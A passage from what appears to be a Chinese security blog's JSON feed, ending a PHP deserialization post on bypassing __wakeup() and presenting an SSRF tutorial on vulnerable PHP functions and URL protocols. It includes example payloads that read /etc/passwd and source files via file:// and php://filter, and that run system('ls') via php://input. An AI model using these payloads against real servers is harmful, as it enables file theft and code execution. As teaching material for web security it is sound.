style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">object</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">O</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xiexie</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">N</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">11</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">*Chesmond</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">N</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">13</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYYArach</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">N</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>如果我们让他反序列化内容变为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">O</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">illy4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:rgba(255, 18, 18, 0.8);--shiki-dark:rgba(255, 18, 18, 0.8)\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">object</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">O</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xiexie</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">N</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">11</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">*Chesmond</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">N</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">13</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYYArach</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">N</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span></code></pre>\n<p>那么这种情况也可以实现绕过__wakeup()</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/wakeup5.png\" class=\"\" title=\"wakeup5\"></p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/02/12/SSRF/",
            "url": "https://zlaryy.top/2026/02/12/SSRF/",
            "title": "SSRF",
            "date_published": "2026-02-12T07:06:00.000Z",
            "content_html": "<h1 id=\"ssrf\"><a class=\"anchor\" href=\"#ssrf\">#</a> SSRF</h1>\n<p>SSRF:服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。</p>\n<p><strong>SSRF 漏洞出现的场景</strong> ：</p>\n<ul>\n<li>能够对外发起网络请求的地方，就可能存在 SSRF 漏洞</li>\n<li>从远程服务器请求资源（Upload from URL，Import &amp; Export RSS Feed）</li>\n<li>数据库内置功能（Oracle、MongoDB、MSSQL、Postgres、CouchDB）</li>\n<li>Webmail 收取其他邮箱邮件（POP3、IMAP、SMTP）</li>\n<li>文件处理、编码处理、属性信息处理（ffmpeg、ImageMagic、DOCX、PDF、XML）</li>\n</ul>\n<h2 id=\"相关的函数\"><a class=\"anchor\" href=\"#相关的函数\">#</a> 相关的函数</h2>\n<ol>\n<li>\n<p>file_get_contents：</p>\n<p>这个函数的本意是读取文件内容到字符串，但它也支持使用HTTP、FTP等协议读取远程资源。当开发者直接使用<code>$_GET['url']</code>这样的用户输入作为参数时，攻击者就可以构造恶意URL。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">url</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">url</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> file_get_contents</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">url</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>在这串代码中，如果恶意传入?url=file:///etc/passwd，那么最后echo的就是/etc/passwd的文件内容，造成文件读取。</p>\n</li>\n<li>\n<p>fsockopen()：</p>\n<p>此函数用于打开一个网络Socket连接，允许与任意主机和端口进行原始的TCP通信。它比HTTP库更底层，因此可以与被防火墙保护的、非HTTP协议的内网服务（如Redis、MySQL、Memcached）直接交互。</p>\n<p>我们也可以使用该函数去模拟http请求 ：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//打开连接通道</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">fp</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">fsockopen</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">www.cnblogs.com</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">80</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">errno</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">errstr</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">30</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">fp</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    die</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">连接错误</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">errstr</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">set_time_limit</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//通道打开，模拟HTTP请求,http协议标准的换行是\\r\\n</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">http</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">GET / HTTP/1.1</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\r\\n</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">http</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Host: www.cnblogs.com</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\r\\n</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">http</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">User-Agent: </span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_SERVER[HTTP_USER_AGENT]</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\r\\n</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">http</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Connection: Close</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\r\\n\\r\\n</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//http模拟完成，发送给服务器</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">fwrite</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">fp</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">http</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//接受服务器的返回结果</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">out</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">while</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!</span><span style=\"color:#998418;--shiki-dark:#B8A965\">feof</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">fp</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">out</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">fread</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">fp</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1024</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">out</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">fclose</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">fp</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>HTTP/1.1 403 Forbidden Server: bfe Set-Cookie: BAIDUID=DE50CDD1B12BE7937A9C9D73E4F794FF:FG=1; Path=/; Domain=baidu.com; Max-Age=31536000 Set-Cookie: BAIDUID_BFESS=DE50CDD1B12BE7937A9C9D73E4F794FF:FG=1; Path=/; Domain=baidu.com; Max-Age=31536000; Secure; SameSite=None Date: Tue, 10 Feb 2026 07:24:59 GMT Content-Length: 0 Content-Type: text/plain; charset=utf-8 Connection: close</span></span></code></pre>\n</li>\n<li>\n<p>curl_exec()：</p>\n<p>cURL是一个非常强大且支持众多协议（如<code>HTTP</code>、<code>HTTPS</code>、<code>FTP</code>、<code>FILE</code>、<code>GOPHER</code>、<code>DICT</code>等）的库。<code>curl_exec()</code>函数执行cURL会话，如果其目标URL（通过<code>CURLOPT_URL</code>设置）由用户完全控制，攻击面会非常大。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> curl_init</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">curl_setopt</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> CURLOPT_URL</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">url</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> // 用户可控</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">curl_setopt</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> CURLOPT_RETURNTRANSFER</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">result</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> curl_exec</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> // 发起请求</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>因其支持<code>gopher</code>协议，常被用来构造攻击内网Redis、FastCGI等服务的Payload</p>\n</li>\n<li>\n<p>除此之外还有readfile()输出文件内容和fopen()打开文件或者URL</p>\n</li>\n</ol>\n<h2 id=\"各种协议\"><a class=\"anchor\" href=\"#各种协议\">#</a> 各种协议</h2>\n<ol>\n<li>\n<p>file:// 本地文件协议</p>\n<p>可以用来读取本地文件，算是比较常用的一个</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://ZLARYY.com/?url=file:///etc/passwd</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://ZLARYY.com/?url=file:///C:/Windows/win.ini</span></span></code></pre>\n</li>\n<li>\n<p>php://filter</p>\n<p>这个也是十分常用的协议，具体语法为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>php://filter/动作(或者称过滤器)/resource=文件名</span></span></code></pre>\n<p>常用过滤器 ：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>// 读取PHP文件源码（base64编码）</span></span>\n<span class=\"line\"><span>php://filter/read=convert.base64-encode/resource=index.php</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>// 读取文件（ROT13编码）</span></span>\n<span class=\"line\"><span>php://filter/read=string.rot13/resource=config.php</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>// 读取文件（大写转换）</span></span>\n<span class=\"line\"><span>php://filter/read=string.toupper/resource=flag.php</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>// 多重过滤器</span></span>\n<span class=\"line\"><span>php://filter/convert.base64-encode|string.rot13/resource=admin.php</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://ZLARYY.com/?url=php://filter/read=convert.base64-encode/resource=/etc/passwd</span></span></code></pre>\n</li>\n<li>\n<p>php://input</p>\n<p>这个协议的使用需要allow_url_include=on，并且需要有写入权限或代码执行能力</p>\n<p>这是一个只读信息流，当请求方式是post的，并且enctype不等于”multipart/form-data”时，可以使用php://input来获取原始请求的数据，当enctype等于”multipart/form-data”时php://input是无效的。</p>\n<p>php://input 可以访问请求的原始数据的只读流，<strong>将post请求的数据当作php代码执行</strong>，当传入的参数作为文件名打开时，可以将参数设为php://input,同时post写入想要执行的php代码，php执行时会将post内容当作文件内容，从而导致任意代码执行。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://ZLARYY.com/?url=php://input</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>//POST提交：</span></span>\n<span class=\"line\"><span>&#x3C;?php system('ls');?></span></span></code></pre>\n</li>\n<li>\n<p>data:// 数据流包含</p>\n<p>这个协议的使用也需要allow_url_include=on，其类似于php://input协议，也可以将用户的一段指定的输入流作为被包含的文件，基本语法如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>data://text/plain,代码内容</span></span>\n<span class=\"line\"><span>data://text/plain;base64,base64编码的代码</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span 